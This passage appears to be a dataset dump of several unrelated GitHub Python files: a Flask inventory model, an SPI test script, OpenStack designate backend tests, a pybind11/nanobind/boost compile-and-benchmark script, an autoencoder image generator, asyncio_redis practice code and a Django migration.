expected_columns","repo_name":"energyandcleanair/fossil_shipment_tracker","sub_path":"api/tests/test_overland.py","file_name":"test_overland.py","file_ext":"py","file_size_in_byte":4003,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"5"} +{"seq_id":"18174485968","text":"from flask import current_app as app\nfrom flask_login import current_user\n\n\nclass Inventory:\n def __init__(self, seller_id, product_id, product_name, quantity, price, product_description):\n self.seller_id = seller_id\n self.product_id = product_id\n self.product_name = product_name\n self.price = price\n self.quantity = quantity\n self.product_description = product_description\n \n\n @staticmethod\n def get(seller_id):\n \"\"\" Get all products for sale by this user\n \"\"\"\n rows = app.db.execute('''\n SELECT seller_id, Inventory.product_id, product_name, Inventory.quantity, price\n FROM Inventory \n LEFT JOIN Products ON Inventory.product_id = Products.product_id\n WHERE seller_id = :seller_id\n ''', seller_id=seller_id)\n return rows\n\n @staticmethod\n def add_product(product_id, quantity, price, product_description):\n \"\"\"Add product to inventory\n \"\"\"\n seller_id = current_user.id\n app.db.execute(\"\"\"\n INSERT INTO Inventory(product_id, quantity, seller_id, product_description, price)\n VALUES(:product_id, :quantity, :seller_id, :product_description, :price)\n \"\"\",product_id = product_id, quantity = quantity, price=price, seller_id=seller_id, product_description=product_description)\n return None\n\n @staticmethod\n def edit_product(product_id, quantity, price, product_description):\n app.db.execute(\"\"\"\n UPDATE Inventory \n SET quantity = :quantity, price = :price, product_description = :product_description\n WHERE product_id = :product_id AND seller_id = :seller_id\n \"\"\", product_id = product_id, quantity = quantity, seller_id = current_user.id, price = price, product_description = product_description)\n return True\n \n\n @staticmethod\n def remove_product(product_id):\n \"\"\"Remove product from inventory\n \"\"\"\n seller_id = current_user.id\n app.db.execute(\"\"\"\n DELETE FROM Inventory\n WHERE seller_id = :seller_id AND product_id = :product_id\n \"\"\",product_id = product_id, seller_id=seller_id)\n return None","repo_name":"oliviafan0703/Mini-Amazon","sub_path":"app/models/inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"14463641540","text":"#!/usr/bin/env python3\nimport struct\nimport spi2b4b\n\n# Open SPI device\ndevice = spi2b4b.open();\n\nrcmd=0x04\nwcmd=0x14\naddr = 0\ndata = 0xdeadbeef\n\nr=spi2b4b.read(device,rcmd,addr)\nprint(\"0x \",end=\"\")\nfor byte in r[1:]:\n print(\"{:02x} \".format(byte),end=\"\")\nprint()\n\nspi2b4b.write(device,wcmd,addr,data)\n\nr=spi2b4b.read(device,rcmd,addr)\nprint(\"0x \",end=\"\")\nfor byte in r[1:]:\n print(\"{:02x} \".format(byte),end=\"\")\nprint()\n","repo_name":"hennomann/kilom_spi","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"73511736793","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom unittest import mock\n\nimport oslotest.base\nimport stevedore.exception\n\nfrom designate import backend\nfrom designate.backend import base\nfrom designate.backend import impl_pdns4\nfrom designate import context\nfrom designate import objects\nfrom designate.tests import fixtures\n\n\nclass BaseBackendTestCase(oslotest.base.BaseTestCase):\n def setUp(self):\n super(BaseBackendTestCase, self).setUp()\n self.stdlog = fixtures.StandardLogging()\n self.useFixture(self.stdlog)\n\n self.context = mock.Mock()\n self.admin_context = mock.Mock()\n mock.patch.object(\n context.DesignateContext, 'get_admin_context',\n return_value=self.admin_context).start()\n\n self.target = {\n 'type': 'pdns4',\n 'masters': [\n ],\n 'options': [\n ],\n }\n\n @mock.patch.object(base.Backend, 'get_driver')\n def test_untested_backend(self, mock_get_driver):\n driver = mock.Mock()\n driver.__backend_status__ = 'untested'\n mock_get_driver.return_value = driver\n\n self.target['type'] = 'test'\n pool_target = objects.PoolTarget.from_dict(self.target)\n\n backend.get_backend(pool_target)\n\n self.assertIn('WARNING', self.stdlog.logger.output)\n self.assertIn(\n \"Backend Driver 'test' loaded. Has status of 'untested'\",\n self.stdlog.logger.output\n )\n\n @mock.patch.object(base.Backend, 'get_driver')\n def test_tested_backend(self, mock_get_driver):\n driver = mock.Mock()\n driver.__backend_status__ = 'integrated'\n mock_get_driver.return_value = driver\n\n self.target['type'] = 'test'\n pool_target = objects.PoolTarget.from_dict(self.target)\n\n backend.get_backend(pool_target)\n\n self.assertNotIn('WARNING', self.stdlog.logger.output)\n self.assertIn(\n \"Backend Driver 'test' loaded. Has status of 'integrated'\",\n self.stdlog.logger.output\n )\n\n def test_get_backend(self):\n pool_target = objects.PoolTarget.from_dict(self.target)\n self.assertIsInstance(\n backend.get_backend(pool_target),\n impl_pdns4.PDNS4Backend\n )\n\n def test_get_backend_does_not_exist(self):\n self.target['type'] = 'unknown'\n pool_target = objects.PoolTarget.from_dict(self.target)\n self.assertRaises(\n stevedore.exception.NoMatches,\n backend.get_backend, pool_target\n )\n","repo_name":"openstack/designate","sub_path":"designate/tests/unit/backend/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":3048,"program_lang":"python","lang":"en","doc_type":"code","stars":156,"dataset":"github-code","pt":"5"} +{"seq_id":"10112192719","text":"import random\nimport subprocess\nimport itertools\nimport collections\nimport importlib.machinery\nimport collections\nimport os\nimport time\nimport sys\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom sysconfig import get_paths as gp\n\n# A list of strings representing the recognized file suffixes for extension modules.\n# https://docs.python.org/3/library/importlib.html#importlib.machinery.EXTENSION_SUFFIXES\n_EXTENSION_SUFFIX = importlib.machinery.EXTENSION_SUFFIXES[0]\n\n_PYBIND11_PATH = os.path.join(os.getcwd(), 'pybind11/include')\n_NANOBIND_PATH = os.path.join(os.getcwd(), 'nanobind/include')\n# _BOOST_PATH = os.path.join(os.getcwd(), 'boost_1_78_0')\n_CMD_BASE = [\n 'clang++',\n '-shared',\n # We compile with the latest compiler. nanobind requires it, and it's a\n # fair comparison to use it for all benchmarks.\n '-std=c++17',\n '-rpath', '..',\n '-I', gp()['include'],\n '-I', _PYBIND11_PATH,\n # Boost includes.\n # '-I', _BOOST_PATH,\n # '-rpath', f'{_BOOST_PATH}/stage/lib',\n # f'-L{_BOOST_PATH}/stage/lib',\n # Nanobind includes\n '-I', _NANOBIND_PATH,\n '-rpath', 'nanobind/tests',\n '-Lnanobind/tests',\n # '-rpath', 'nanobind',\n # TODO(jblespiau): Is this useful?\n '-Wno-deprecated-declarations',\n '-fno-stack-protector',\n\n # For boost, it fails without this flag with:\n # relocation R_X86_64_32 against `.bss' can not be used when making a\n # shared object; recompile with -fPIC,\n '-fPIC'\n]\n\n_OSX_FLAGS = ['-mcpu=apple-a14', '-undefined', 'dynamic_lookup']\n\n\ndef _gen_func(f, lib):\n \"\"\"Generates all permutations of addition functions of 6 types of arguments.\"\"\"\n types = ['uint16_t', 'int32_t', 'uint32_t', 'int64_t', 'uint64_t', 'float']\n if lib == 'boost':\n prefix = 'py::'\n else:\n prefix = 'm.'\n for i, t in enumerate(itertools.permutations(types)):\n args = f'{t[0]} a, {t[1]} b, {t[2]} c, {t[3]} d, {t[4]} e, {t[5]} f'\n f.write(' %sdef(\"test_%04i\", +[](%s) { return a+b+c+d+e+f; });\\n' %\n (prefix, i, args))\n\n\ndef _gen_class(f, lib):\n \"\"\"Generates structs with 6 fields and a `sum` function returning their sum.\"\"\"\n types = ['uint16_t', 'int32_t', 'uint32_t', 'int64_t', 'uint64_t', 'float']\n\n for i, t in enumerate(itertools.permutations(types)):\n if lib == 'boost':\n prefix = ''\n postfix = f', py::init<{t[0]}, {t[1]}, {t[2]}, {t[3]}, {t[4]}, {t[4]}>()'\n else:\n prefix = 'm, '\n postfix = ''\n\n f.write(f' struct Struct{i} {{\\n')\n f.write(\n f' {t[0]} a; {t[1]} b; {t[2]} c; {t[3]} d; {t[4]} e; {t[5]} f;\\n'\n )\n f.write(\n f' Struct{i}({t[0]} a, {t[1]} b, {t[2]} c, {t[3]} d, {t[4]} e, {t[5]} f) : a(a), b(b), c(c), d(d), e(e), f(f) {{ }}\\n'\n )\n f.write(' float sum() const { return a+b+c+d+e+f; }\\n')\n f.write(' };\\n')\n f.write(f' py::class_({prefix}\\\"Struct{i}\\\"{postfix})\\n')\n if lib != 'boost':\n f.write(\n f' .def(py::init<{t[0]}, {t[1]}, {t[2]}, {t[3]}, {t[4]}, {t[5]}>())\\n'\n )\n f.write(f' .def(\"sum\", &Struct{i}::sum);\\n\\n')\n\n if i > 250:\n break\n\n\n_OPT_FLAGS = {'debug': ['-O0', '-g3'], 'opt': ['-Os', '-g0']}\n\n\ndef gen_file(name, func, libs=('boost', 'pybind11', 'nanobind')):\n \"\"\"Generates the `.cpp` files for all the libraries.\n\n The files are generated within a `cpp/` directory.\n \"\"\"\n if not os.path.isdir('cpp'):\n os.mkdir('cpp/')\n\n for lib in libs:\n for opt_mode in _OPT_FLAGS:\n with open(f'cpp/{name}_{lib}_{opt_mode}.cpp', 'w') as f:\n if lib == 'boost':\n f.write('#include \\n\\n')\n f.write('namespace py = boost::python;\\n\\n')\n f.write(f'BOOST_PYTHON_MODULE({name}_{lib}_{opt_mode}) {{\\n')\n else:\n f.write(f'#include <{lib}/{lib}.h>\\n\\n')\n f.write(f'namespace py = {lib};\\n\\n')\n\n prefix = 'NB' if lib == 'nanobind' else 'PYBIND11'\n f.write(f'{prefix}_MODULE({name}_{lib}_{opt_mode}, m) {{\\n')\n\n func(f, lib)\n f.write('}\\n')\n\n\n_CompilationData = collections.namedtuple('_CompilationData',\n ['sizes', 'times'])\n\n\ndef compile_and_run_files(directory, only=('boost', 'pybind11', 'nanobind')):\n \"\"\"Generates `.cpp` file for the provided libraries, calling `func` for the content.\n\n Args:\n \"\"\"\n if not os.path.exists(directory):\n raise ValueError('directory does not exist')\n\n sizes = {}\n times = {}\n\n dirs = os.listdir(directory)\n print('Compiling files in', directory)\n for file in dirs:\n name_lib_mode = file.split('.')[0].split('_')\n if len(name_lib_mode) != 3:\n raise AssertionError(\n 'The cpp/ directory is expected to contain files of the form '\n f'{{class, func}}__.cpp, found {file}')\n name, lib, opt_mode = name_lib_mode\n if lib not in only:\n continue\n\n print(f'Processing {name}, {lib}, {opt_mode}')\n opt_flags = _OPT_FLAGS[opt_mode]\n fname_out = name + '_' + lib + '_' + opt_mode + _EXTENSION_SUFFIX\n file_path = os.path.join('cpp', f'{name}_{lib}_{opt_mode}.cpp')\n cmd = _CMD_BASE + opt_flags + [file_path, '-o', fname_out]\n\n # TODO(jblespiau): Better understand the impact of using a shared library\n # at link time. Reduces the binary size, but requires the shared lib to be\n # installed?\n if lib == 'nanobind':\n cmd += ['-lnanobind']\n elif lib == 'boost':\n cmd += [f'-lboost_python{os.environ.get(\"BOOST_PYTHON_VERSION\", 39)}']\n\n print('Running:', ' '.join(cmd))\n time_before = time.perf_counter()\n try:\n proc = subprocess.check_output(cmd, stderr=subprocess.STDOUT)\n print(proc)\n except subprocess.CalledProcessError as e:\n print(\"The compilation failed with:\\n\" + e.output.decode())\n raise\n time_after = time.perf_counter()\n if opt_mode != 'debug':\n subprocess.check_call(['strip', '-x', fname_out])\n\n bytes_size = os.path.getsize(fname_out)\n sizes[f'{name}_{lib}_{opt_mode}'] = os.path.getsize(fname_out) / (1024 *\n 1024)\n times[f'{name}_{lib}_{opt_mode}'] = time_after - time_before\n\n return _CompilationData(sizes=sizes, times=times)\n\n\ndef _get_values(mapping, lib_name, names_opt_modes):\n \"\"\"Returns the metrics from `mapping` for `lib_name` ordered by `names_opt_modes.\"\"\"\n return [\n mapping[f'{name}_{lib_name}_{mode}'] for name, mode in names_opt_modes\n ]\n\ndef _get_labels_and_names_opt_modes(name_lib_opt_mode_list):\n names = set()\n opt_modes = set()\n for name_lib_mode in name_lib_opt_mode_list:\n name, lib, opt_mode = name_lib_mode.split('_')\n names.add(name)\n opt_modes.add(opt_mode)\n\n names = sorted(names)\n opt_modes = sorted(opt_modes)\n\n labels = []\n names_opt_modes = []\n for name in names:\n for opt_mode in opt_modes:\n names_opt_modes.append((name, opt_mode))\n labels.append(f'{name} [ {opt_mode} ]')\n\n return labels, names_opt_modes\n\n\ndef gen_compilation_graphs(name_lib_to_float, title, ylabel, filename):\n \"\"\"Args:\n\n name_lib_to_float: Either a mapping of the compilation times, or binary\n size.\n \"\"\"\n times = name_lib_to_float\n labels, names_opt_modes = _get_labels_and_names_opt_modes(times)\n\n x = np.arange(len(labels)) # the label locations\n width = 0.25 # the width of the bars\n\n fig, ax = plt.subplots(figsize=[11.25, 3])\n\n boost_times = _get_values(times, \"boost\", names_opt_modes)\n pybind11_times = _get_values(times, \"pybind11\", names_opt_modes)\n nanobind_times = _get_values(times, \"nanobind\", names_opt_modes)\n boost_rects = ax.bar(\n x - width,\n boost_times,\n width,\n label='boost',\n align='center',\n edgecolor='black')\n pybind11_rects = ax.bar(\n x,\n pybind11_times,\n width,\n label='pybind11',\n align='center',\n edgecolor='black')\n nanobind_rects = ax.bar(\n x + width,\n [times[f'{name}_nanobind_{mode}'] for name, mode in names_opt_modes],\n width,\n label='nanobind',\n align='center',\n edgecolor='black')\n\n ax.set_ylabel(ylabel)\n ax.set_title(title)\n ax.set_xticks(x, labels)\n ax.legend()\n\n ylim = np.max(list(times.values())) * .76\n ax.set_ylim(0, ylim)\n\n def adj(ann):\n \"\"\"Limits bars that are too high, and uses a white font.\"\"\"\n for a in ann:\n if a.xy[1] > ylim * .9:\n a.xy = (a.xy[0], ylim * 0.8)\n a.set_color('white')\n\n min_times = np.stack([np.asarray(boost_times),\n np.asarray(pybind11_times),\n np.asarray(nanobind_times)]).min(axis=0)\n\n for rectangles, lib_times in [(boost_rects, boost_times),\n (pybind11_rects, pybind11_times),\n (nanobind_rects, nanobind_times)]:\n slow_down = np.asarray(lib_times) / min_times\n improvement = [\n '%.2f\\n(x %.1f)' % (lib_times[i], v) for i, v in enumerate(slow_down)\n ]\n adj(ax.bar_label(rectangles, labels=improvement, padding=3))\n\n fig.tight_layout()\n plt.savefig(f'{filename}.png', facecolor='white', dpi=200)\n plt.savefig(f'{filename}.svg', facecolor='white')\n return fig\n\n\n# Running the extensions and graph construction\nclass native_module:\n\n @staticmethod\n def test_0000(a, b, c, d, e, f):\n return a + b + c + d + e + f\n\n class Struct0:\n\n def __init__(self, a, b, c, d, e, f):\n self.a = a\n self.b = b\n self.c = c\n self.d = d\n self.e = e\n self.f = f\n\n def sum(self):\n return self.a + self.b + self.c + self.e + self.f\n\n\ndef runtime_performance():\n print(\"Getting runtime performances...\")\n\n rtimes = {}\n for name in ['func', 'class']:\n its = 1000000 if name == 'func' else 500000\n for lib in ['python', 'pybind11', 'nanobind', 'boost']: # nanobind, boost\n for mode in ['debug', 'opt']:\n if lib == 'python':\n # We can use a real module, or the fake class above which acts as\n # a module, but which is faster.\n # m = importlib.import_module('python_module')\n m = native_module\n else:\n m = importlib.import_module(f'{name}_{lib}_{mode}')\n\n time_before = time.perf_counter()\n if name == 'func':\n for i in range(its):\n m.test_0000(1, 2, 3, 4, 5, 6)\n elif name == 'class':\n for i in range(its):\n m.Struct0(1, 2, 3, 4, 5, 6).sum()\n\n time_after = time.perf_counter()\n\n rtimes[f\"{name}_{lib}_{mode}\"] = (time_after - time_before)\n\n return rtimes\n\n\n\n# import matplotlib as mpl\n# mpl.rcParams['hatch.linewidth'] = 5.0 \n\ndef gen_performance_graphs(runtimes):\n print(\"Getting runtime performances graphs...\")\n\n labels, names_opt_modes = _get_labels_and_names_opt_modes(runtimes)\n x = np.arange(len(labels)) # the label locations\n width = 0.22 # the width of the bars\n\n boost_times = _get_values(runtimes, \"boost\", names_opt_modes)\n pybind11_times = _get_values(runtimes, \"pybind11\", names_opt_modes)\n nanobind_times = _get_values(runtimes, \"nanobind\", names_opt_modes)\n python_times = _get_values(runtimes, \"python\", names_opt_modes)\n\n min_times = np.stack([np.asarray(boost_times),\n np.asarray(pybind11_times),\n np.asarray(nanobind_times)]).min(axis=0)\n\n fig, ax = plt.subplots(figsize=[11.25, 3])\n rects1 = ax.bar(x- 1.5*width, boost_times, width, label='boost', align='center', edgecolor='black')\n rects2 = ax.bar(x - width/2, pybind11_times, width, label='pybind11', align='center', edgecolor='black')\n rects3 = ax.bar(x + width/2, nanobind_times, width, label='nanobind', align='center', edgecolor='black')\n rects0 = ax.bar(x + 1.5*width, python_times, width, label='python', align='center', hatch=\"/\", edgecolor='white')\n ax.bar(x + 1.5*width, python_times, width, align='center', edgecolor='black', facecolor='None')\n\n ax.set_ylabel('Time (seconds)')\n ax.set_title('Runtime performance')\n ax.set_xticks(x, labels)\n ax.legend()\n ylim = np.max(pybind11_times)* .32\n ax.set_ylim(0, ylim)\n\n def adj(ann):\n for a in ann:\n if a.xy[1] > ylim:\n a.xy = (a.xy[0], ylim * 0.8)\n a.set_color('white')\n\n\n improvement = np.array(python_times) / np.array(nanobind_times)\n improvement = ['%.2f\\n(x %.1f)' % (python_times[i], v) for i, v in enumerate(improvement)]\n adj(ax.bar_label(rects0, labels=improvement, padding=3))\n\n improvement = np.array(boost_times) / np.array(nanobind_times)\n improvement = ['%.2f\\n(x %.1f)' % (boost_times[i], v) for i, v in enumerate(improvement)]\n adj(ax.bar_label(rects1, labels=improvement, padding=3))\n\n improvement = np.array(pybind11_times) / np.array(nanobind_times)\n improvement = ['%.2f\\n(x %.1f)' % (pybind11_times[i], v) for i, v in enumerate(improvement)]\n adj(ax.bar_label(rects2, labels=improvement, padding=3))\n\n adj(ax.bar_label(rects3, fmt='%.2f'))\n\n fig.tight_layout()\n plt.savefig('perf.png', facecolor='white', dpi=200)\n plt.savefig('perf.svg', facecolor='white')\n return fig\n\n\ncpp_dir = os.path.join(os.getcwd(), 'cpp/')\nsys.path.insert(0, cpp_dir)\n\ngen_file('func', _gen_func)\ngen_file('class', _gen_class)\ncompilation_data = compile_and_run_files(cpp_dir)\nprint(compilation_data)\n\n# compilation_data = _CompilationData(\n# sizes={\n# 'class_boost_opt': 3.200624,\n# 'class_pybind11_opt': 0.801760,\n# 'func_boost_opt': 6.379840,\n# 'class_boost_debug': 36.997512,\n# 'func_pybind11_debug': 25.215752,\n# 'class_pybind11_debug': 28.348160,\n# 'func_pybind11_opt': 1.563640,\n# 'func_boost_debug': 21.998824,\n# 'class_nanobind_opt': 0.29685211181640625, 'class_nanobind_debug': 8.693931579589844, 'func_nanobind_debug': 10.312309265136719, 'func_nanobind_opt': 0.448577880859375,\n# },\n# times={\n# 'class_boost_opt': 59.02106701499724,\n# 'class_pybind11_opt': 46.46974422399944,\n# 'func_boost_opt': 34.67665654800658,\n# 'class_boost_debug': 27.64489218899689,\n# 'func_pybind11_debug': 29.556745306996163,\n# 'class_pybind11_debug': 28.78910167599679,\n# 'func_pybind11_opt': 38.6706105129997,\n# 'func_boost_debug': 19.3108848510019,\n# 'class_nanobind_opt': 17.301341832004255, 'class_nanobind_debug': 15.288980769008049, 'func_nanobind_debug': 12.167448592997971, 'func_nanobind_opt': 17.3487650820025\n# })\n\ngen_compilation_graphs(\n compilation_data.times,\n title='Time (seconds)',\n ylabel='Compilation time',\n filename='times')\n\ngen_compilation_graphs(\n compilation_data.sizes,\n title='Binary size',\n ylabel='Size (MiB)',\n filename='sizes')\n","repo_name":"jblespiau/pybind11_benchmarks","sub_path":"generate_files.py","file_name":"generate_files.py","file_ext":"py","file_size_in_byte":14642,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"33443205539","text":"# オートエンコーダによる画像生成\r\nimport numpy as np\r\nimport os\r\nimport pandas as pd\r\nimport torch\r\nimport torchvision\r\nfrom PIL import Image\r\nfrom torch import nn\r\n# 自作モジュール\r\nfrom network import AutoEncoder\r\n\r\n\r\ndef generate(savedir, model_path, _list, root):\r\n width = 28\r\n height = 28\r\n channel = 1\r\n\r\n device = 'cuda'\r\n\r\n # モデル設定\r\n model = AutoEncoder(width, height, channel)\r\n model = nn.DataParallel(model)\r\n model.module.load_state_dict(torch.load(model_path))\r\n model.eval() # 推論モードへ切り替え(Dropoutなどの挙動に影響)\r\n\r\n # 保存先のファイルを作成\r\n if os.path.exists(savedir):\r\n n = 1\r\n while 1:\r\n if os.path.exists('{}({})'.format(savedir, n)):\r\n n += 1\r\n else:\r\n savedir = '{}({})'.format(savedir, n)\r\n break\r\n os.makedirs(savedir, exist_ok=True)\r\n\r\n df = pd.read_csv(_list, usecols=['Path'])\r\n img_id = df.values.tolist()\r\n\r\n for i, img in enumerate(img_id):\r\n image = Image.open('{}/{}'.format(root, img[0]))\r\n image = image.convert('L')\r\n image = np.array(image)\r\n\r\n gene_img = model(image)\r\n\r\n # オートエンコーダの出力画像を保存\r\n torchvision.utils.save_image(gene_img, \"{}/{:04}.png\".format(savedir, i+1))\r\n","repo_name":"Nao8426/ML","sub_path":"AE/AE/perform/generate.py","file_name":"generate.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37300840384","text":"import asyncio\n\nimport asyncio_redis\n\n\ndef values(*value):\n for element in value:\n yield element\n\n\nasync def insert(loop, *args, keys='key'):\n print(args)\n transport, protocol = await loop.create_connection(\n asyncio_redis.RedisProtocol, '127.0.0.1', 6379)\n await protocol.lpush(keys, values(*args))\n # insert_values = await protocol.lrange('key', 0, -1)\n # insert_values = await insert_values.aslist()\n # print(insert_values)\n transport.close()\n\n\nasync def work():\n url = await pop(loop)\n while url:\n print('work', url)\n url = await pop()\n\n\nasync def pop(loop):\n transport, protocol = await loop.create_connection(\n asyncio_redis.RedisProtocol, '127.0.0.1', 6379)\n data = await protocol.lpop('key')\n print(data)\n\n\nif __name__ == '__main__':\n loop = asyncio.get_event_loop()\n URL = 'https://www.baidu.com/?a={}'\n li = [URL.format(i) for i in range(12)]\n loop.run_until_complete(pop(loop))\n loop.close()\n","repo_name":"MysteriousSonOfGod/PythonCookies","sub_path":"Pyspider/redisdb/practise_1.py","file_name":"practise_1.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"31783892578","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport sorl.thumbnail.fields\nimport tinymce.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='PhotoProject',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('photo', sorl.thumbnail.fields.ImageField(upload_to=b'photoprojectb/', verbose_name='\\u0444\\u043e\\u0442\\u043e', blank=True)),\n ('title', models.CharField(max_length=255, null=True, verbose_name='\\u0417\\u0430\\u0433\\u043e\\u043b\\u043e\\u0432\\u043e\\u043a', blank=True)),\n ('alt', models.CharField(default=b'', max_length=255, verbose_name='Alt', blank=True)),\n ('text', tinymce.models.HTMLField(default=b' ', verbose_name='\\u041e\\u043f\\u0438\\u0441\\u0430\\u043d\\u0438\\u0435', blank=True)),\n ('order', models.IntegerField(default=0, verbose_name=b'\\xd0\\xa1\\xd0\\xbe\\xd1\\x80\\xd1\\x82\\xd0\\xb8\\xd1\\x80\\xd0\\xbe\\xd0\\xb2\\xd0\\xba\\xd0\\xb0')),\n ],\n options={\n 'ordering': ['order'],\n 'verbose_name': '\\u0424\\u043e\\u0442\\u043e \\u043f\\u0440\\u043e\\u0435\\u043a\\u0442\\u0430',\n 'verbose_name_plural': '\\u0424\\u043e\\u0442\\u043e \\u043f\\u0440\\u043e\\u0435\\u043a\\u0442\\u043e\\u0432',\n },\n ),\n migrations.CreateModel(\n name='PlanProject',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('photo', sorl.thumbnail.fields.ImageField(upload_to=b'planprojectb/', verbose_name='\\u0444\\u043e\\u0442\\u043e')),\n ],\n options={\n 'verbose_name': '\\u041f\\u043b\\u0430\\u043d\\u0438\\u0440\\u043e\\u0432\\u043a\\u0430 \\u043f\\u0440\\u043e\\u0435\\u043a\\u0442\\u0430',\n 'verbose_name_plural': '\\u041f\\u043b\\u0430\\u043d\\u044b \\u043f\\u0440\\u043e\\u0435\\u043a\\u0442\\u043e\\u0432',\n },\n ),\n migrations.CreateModel(\n name='Project',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=255, verbose_name='\\u041d\\u0430\\u0437\\u0432\\u0430\\u043d\\u0438\\u0435 \\u043f\\u0440\\u043e\\u0435\\u043a\\u0442\\u0430')),\n ('h1', models.CharField(max_length=255, verbose_name=b'h1')),\n ('title', models.CharField(max_length=255, verbose_name=b'Title')),\n ('mainphoto', sorl.thumbnail.fields.ImageField(upload_to=b'photoprojectb/', verbose_name=b'\\xd0\\x93\\xd0\\xbb\\xd0\\xb0\\xd0\\xb2\\xd0\\xbd\\xd0\\xbe\\xd0\\xb5 \\xd1\\x84\\xd0\\xbe\\xd1\\x82\\xd0\\xbe \\xd0\\xbf\\xd1\\x80\\xd0\\xbe\\xd0\\xb5\\xd0\\xba\\xd1\\x82\\xd0\\xb0')),\n ('descr', tinymce.models.HTMLField(verbose_name='\\u041e\\u043f\\u0438\\u0441\\u0430\\u043d\\u0438\\u0435')),\n ('sq', models.IntegerField(help_text=b'\\xd0\\xbd\\xd0\\xb0\\xd0\\xbf\\xd1\\x80\\xd0\\xb8\\xd0\\xbc\\xd0\\xb5\\xd1\\x80: 700', verbose_name='\\u041f\\u043b\\u043e\\u0449\\u0430\\u0434\\u044c')),\n ('order', models.IntegerField(default=0, verbose_name=b'\\xd0\\xa1\\xd0\\xbe\\xd1\\x80\\xd1\\x82\\xd0\\xb8\\xd1\\x80\\xd0\\xbe\\xd0\\xb2\\xd0\\xba\\xd0\\xb0')),\n ('keyword', models.CharField(max_length=255, blank=True)),\n ('description', models.CharField(max_length=255, blank=True)),\n ('index_option', models.BooleanField(default=True, verbose_name=b'\\xd0\\x98\\xd0\\xbd\\xd0\\xb4\\xd0\\xb5\\xd0\\xba\\xd1\\x81\\xd0\\xb8\\xd1\\x80\\xd0\\xbe\\xd0\\xb2\\xd0\\xb0\\xd1\\x82\\xd1\\x8c \\xd1\\x81\\xd1\\x82\\xd1\\x80\\xd0\\xb0\\xd0\\xbd\\xd0\\xb8\\xd1\\x86\\xd1\\x83?')),\n ('articul', models.CharField(max_length=255, blank=True)),\n ('url', models.CharField(max_length=255, blank=True)),\n ],\n options={\n 'ordering': ['order'],\n 'verbose_name': '\\u0421\\u0442\\u0440\\u043e\\u0438\\u0442\\u0435\\u043b\\u044c\\u0441\\u0442\\u0432\\u043e \\u0434\\u043e\\u043c\\u043e\\u0432',\n 'verbose_name_plural': '\\u0421\\u0442\\u0440\\u043e\\u0438\\u0442\\u0435\\u043b\\u044c\\u0441\\u0442\\u0432\\u043e \\u0434\\u043e\\u043c\\u043e\\u0432',\n },\n ),\n migrations.CreateModel(\n name='Tag',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=100, verbose_name=b'\\xd0\\x9d\\xd0\\xb0\\xd0\\xb8\\xd0\\xbc\\xd0\\xb5\\xd0\\xbd\\xd0\\xbe\\xd0\\xb2\\xd0\\xb0\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5')),\n ('title', models.CharField(max_length=255, verbose_name=b'Title')),\n ('h1', models.CharField(max_length=255, verbose_name=b'h1')),\n ('url', models.CharField(max_length=255)),\n ('descr', models.TextField(verbose_name='\\u041e\\u043f\\u0438\\u0441\\u0430\\u043d\\u0438\\u0435')),\n ('sort', models.IntegerField(default=0)),\n ('keyword', models.CharField(max_length=255, blank=True)),\n ('description', models.CharField(max_length=255, blank=True)),\n ('is_index', models.BooleanField(default=True, verbose_name='\\u0418\\u043d\\u0434\\u0435\\u043a\\u0441\\u0438\\u0440\\u043e\\u0432\\u0430\\u0442\\u044c?')),\n ],\n options={\n 'ordering': ['sort'],\n 'verbose_name': '\\u0422\\u0435\\u0433',\n 'verbose_name_plural': '\\u0422\\u0435\\u0433\\u0438',\n },\n ),\n migrations.CreateModel(\n name='TagProject',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('project', models.ForeignKey(to='buildhouse.Project')),\n ('tag', models.ForeignKey(to='buildhouse.Tag')),\n ],\n ),\n migrations.AddField(\n model_name='project',\n name='tags',\n field=models.ManyToManyField(to='buildhouse.Tag', through='buildhouse.TagProject'),\n ),\n migrations.AddField(\n model_name='planproject',\n name='project',\n field=models.ForeignKey(verbose_name='\\u043f\\u0440\\u043e\\u0435\\u043a\\u0442', to='buildhouse.Project'),\n ),\n migrations.AddField(\n model_name='photoproject',\n name='project',\n field=models.ForeignKey(verbose_name='\\u043f\\u0440\\u043e\\u0435\\u043a\\u0442', to='buildhouse.Project'),\n ),\n ]\n","repo_name":"ivanovcode/brusvyanka","sub_path":"buildhouse/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":6626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} 